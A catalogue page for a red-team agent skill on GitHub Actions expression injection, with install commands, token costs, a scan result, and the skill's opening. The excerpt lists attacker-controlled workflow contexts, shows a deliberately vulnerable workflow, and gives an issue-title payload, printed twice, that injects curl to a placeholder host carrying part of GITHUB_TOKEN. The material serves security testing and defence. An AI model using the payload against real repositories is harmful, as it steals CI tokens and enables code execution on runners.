github-actions-injection

github-actions-injection is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 65 tokens per session (2,160 once invoked), scanned A, original, Apache-2.0.

A security guide to GitHub Actions expression injection, where text from issues, pull requests, branches, or commits is inserted into shell commands.

In plain words
What is it for?
It is for reviewing workflow expressions, pull-request triggers, shell command construction, token permissions, action pinning, caches, and artifacts.
Why use it?
It helps prevent untrusted text from becoming executable code on a runner with repository, secret, or cloud permissions.

Skill for Claude CodeCodex

About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,445 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/purpleailab/decepticon/github-actions-injection
Any agent
npx skills add PurpleAILAB/Decepticon --skill github-actions-injection
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for github-actions-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/github-actions-injection.svg)](https://agentmods.dev/skills/purpleailab/decepticon/github-actions-injection)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/github-actions-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/github-actions-injection.svg" alt="Measured on agentmods" height="20"></a>
Per session 65 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,160 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00065 $0.02160
Opus 5 $0.00032 $0.01080
Sonnet 5 $0.00013 $0.00432
Haiku 4.5 $0.00006 $0.00216

Measured yesterday against content hash 71940fbdf88c, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

github-actions-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md · 201 lines

How it starts

The opening of the file, as written. The whole thing — 201 lines — stays where its author put it; the contents beside it link to each section on GitHub.

GitHub Actions Expression Injection

${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.

Untrusted context — the sinks

These fields are attacker-controllable in fork PRs, issues, comments, branches:

Context Source Notes
github.event.issue.title / .body issue create / edit any logged-in user
github.event.pull_request.title / .body PR create / edit any forker
github.event.pull_request.head.ref branch name on fork ; $() ``` are valid Git branch chars
github.event.comment.body issue/PR comment broad reach
github.event.review.body / .review_comment.body PR review
github.event.head_commit.message / .commits[*].message push / PR newlines allowed
github.event.pages[*].page_name gollum wiki
github.head_ref shorthand for PR head branch same as above

Recon — find injection sinks

# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
  <REPO>/.github/workflows/

# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color

Sink pattern — the vulnerable workflow

# VULNERABLE
on: [issues, pull_request_target]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Echo title
        run: |
          echo "New issue: ${{ github.event.issue.title }}"   # <-- sink

Exploit payload — issue title

Open an issue titled:

hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #

Runner expands to:

echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"

The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)

Read the full file on GitHub · 201 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 201 lines · 65 tokens per session scan A 71940fbdf88c

Subscribe to this mod's changes

github-actions-injection is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,445 stars, last pushed 5d ago), licensed Apache-2.0. It adds 65 tokens to every session and 2,160 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

turborepo

Turborepo monorepo build system guidance. Triggers on: turbo.json, task pipelines, dependsOn, caching, remote cache, the "turbo" CLI, --filter, --affected, CI optimization, environment variables, internal packages, monorepo structure/best practices, and boundaries. Use when user: configures tasks/workflows/pipelines…

Harmeet10000/skills · 111 tokens

deployment-pipeline-design

Design multi-stage CI/CD pipelines with approval gates, security checks, and deployment orchestration. Use when architecting deployment workflows, setting up continuous delivery, or implementing GitOps practices.

Harmeet10000/skills · 41 tokens

add-code-quality-hook

Recipe for wiring a new linter into Opik's unified 🐙 Code Quality pipeline (pre-commit + CI). Use when adding a pre-commit-driven linter/formatter to the repo — enumerates every file that must change (.pre-commit-config.yaml, scripts/precommit-hook-descriptions.tsv, scripts/precommit-detect-hooks.py…

comet-ml/opik · 0 tokens

interactive-dashboard

Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.

ginlix-ai/LangAlpha · 21 tokens

meta-long-running-build-watchdog

Watches a long-running command via tmux, lets sub-agent diagnose failures and propose a fix, and records the diagnosis to memory. Designed for overnight model fine-tunes, CI image builds, or repeated regression suites that may fail intermittently.

opensquilla/opensquilla · 131 tokens

onboarding

First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.

ginlix-ai/LangAlpha · 21 tokens